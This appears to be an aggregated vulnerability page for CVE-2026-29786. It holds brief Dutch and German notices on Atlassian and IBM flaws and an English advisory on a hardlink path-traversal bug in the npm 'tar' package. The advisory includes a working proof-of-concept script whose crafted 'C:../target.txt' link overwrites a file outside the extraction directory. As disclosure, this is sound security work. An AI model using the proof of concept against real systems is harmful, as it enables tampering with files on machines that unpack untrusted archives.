CVE-2026-29786

Atlassian heeft kwetsbaarheden verholpen in diverse producten zoals Bamboo, Bitbucket, Confluence, Jira, Crowd en Fisheye. De kwetsbaarheden bevinden zich in diverse Third-Party producten waar eerder updates voor zijn verschenen. Atlassian heeft deze updates verwerkt in de eigen producten.

Ein entfernter, anonymer Angreifer kann mehrere Schwachstellen in IBM App Connect Enterprise ausnutzen, um Dateien zu manipulieren, und um einen Denial of Service Angriff durchzuführen.

Ein Angreifer kann mehrere Schwachstellen in Atlassian Bamboo, Atlassian Bitbucket, Atlassian Confluence, Atlassian Crucible, Atlassian Fisheye und Atlassian Jira ausnutzen, um beliebigen Programmcode auszuführen, um einen Denial of Service Angriff durchzuführen, um Informationen offenzulegen, um einen Cross-Site Scripting Angriff durchzuführen, und um Sicherheitsvorkehrungen zu umgehen.

Ein Angreifer kann mehrere Schwachstellen in Atlassian Bamboo, Atlassian Bitbucket, Atlassian Confluence, Atlassian Crucible, Atlassian Fisheye und Atlassian Jira ausnutzen, um beliebigen Programmcode auszuführen, um einen Denial of Service Angriff durchzuführen, um Informationen offenzulegen, um Dateien zu manipulieren, um einen Cross-Site Scripting Angriff durchzuführen, um einen SQL-Injection Angriff durchzuführen, und um Sicherheitsvorkehrungen zu umgehen.

### Summary `tar` (npm) can be tricked into creating a hardlink that points outside the extraction directory by using a drive-relative link target such as `C:../target.txt`, which enables file overwrite outside `cwd` during normal `tar.x()` extraction. ### Details The extraction logic in `Unpack[STRIPABSOLUTEPATH]` checks for `..` segments *before* stripping absolute roots. What happens with `linkpath: "C:../target.txt"`: 1. Split on `/` gives `['C:..', 'target.txt']`, so `parts.includes('..')` is false. 2. `stripAbsolutePath()` removes `C:` and rewrites the value to `../target.txt`. 3. Hardlink creation resolves this against extraction `cwd` and escapes one directory up. 4. Writing through the extracted hardlink overwrites the outside file. This is reachable in standard usage (`tar.x({ cwd, file })`) when extracting attacker-controlled tar archives. ### PoC Tested on Arch Linux with `tar@7.5.9`. PoC script (`poc.cjs`): ```js const fs = require('fs') const path = require('path') const { Header, x } = require('tar') const cwd = process.cwd() const target = path.resolve(cwd, '..', 'target.txt') const tarFile = path.join(process.cwd(), 'poc.tar') fs.writeFileSync(target, 'ORIGINAL\n') const b = Buffer.alloc(1536) new Header({ path: 'l', type: 'Link', linkpath: 'C:../target.txt' }).encode(b, 0) fs.writeFileSync(tarFile, b) x({ cwd, file: tarFile }).then(() => { fs.writeFileSync(path.join(cwd, 'l'), 'PWNED\n') process.stdout.write(fs.readFileSync(target, 'utf8')) }) ``` Run: ```bash cd test-workspace node poc.cjs && ls -l ../target.txt ``` Observed output: ```text PWNED -rw-r--r-- 2 joshuavr joshuavr 6 Mar 4 19:25 ../target.txt ``` `PWNED` confirms outside file content overwrite. Link count `2` confirms the extracted file and `../target.txt` are hardlinked. ### Impact This is an arbitrary file overwrite primitive outside the intended extraction root, with the permissions of the process performing extraction. Realistic scenarios: - CLI tools unpacking untrusted tarballs into a working directory - build/update pipelines consuming third-party archives - services that import user-supplied tar files